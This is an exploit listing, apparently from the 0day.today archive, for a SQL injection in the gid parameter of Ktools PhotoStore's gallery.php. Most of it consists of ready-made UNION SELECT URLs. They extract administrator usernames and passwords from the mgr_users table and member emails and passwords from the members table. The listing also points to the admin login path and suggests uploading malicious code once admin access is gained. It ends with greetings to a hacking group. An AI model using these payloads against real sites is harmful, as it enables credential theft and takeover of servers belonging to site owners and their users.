Ktools PhotoStore <= 3.5.1 (gallery.php gid) SQL Injection Vulnerability

2008-05-09T00:00:00
ID 1337DAY-ID-2984
Type zdt
Reporter 0day Today Team
Modified 2008-05-09T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ========================================================================
Ktools PhotoStore <= 3.5.1 (gallery.php gid) SQL Injection Vulnerability
========================================================================


#########################################
# Remote SQL Injection Vulnerability    #
#                                       #
#  PhotoStore 3.4.3 ( gallery.php gid ) #
#                                       #
#########################################
## Script NAME  : PhotoStore
## VERSION : 3.4.3
## DOWNLOAD : http://www.ktools.net/
#########################################
## D0rk ::  n/a   ;)
################################################################################

## ExPlo!t For ADMIN INFO  :
===> http://www.exampel.com/gallery.php?gid=-9696'+UnIoN+SelecT+1,concat(username,0x3c7c7c204d722e53514c207c7c3e,password),3,4,5,6,7,8,9,10,1,12,13+from+mgr_users/*
 
#############
 
## Explo!T For Users INFO :
===> http://www.exampel.com/gallery.php?gid=-9696'+union+select+1,concat(email,'::Mr.SQL::',password),3,4,5,6,7,8,9,10,1,12,13+from+members/*

###################################################################################
 
===>> Admin P@nel
                    /manager/login.php

### N0TE ## YOU Can UploaD Your Ev!l Code  ADMIN CP
#############
<< Gr33Tz >>  
Dark MaSTer :: HaCkEr-EGy :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: SecuritY FearS :: (( MuslimS HaCkErS ))
#####################################################



#  0day.today [2016-04-19]  #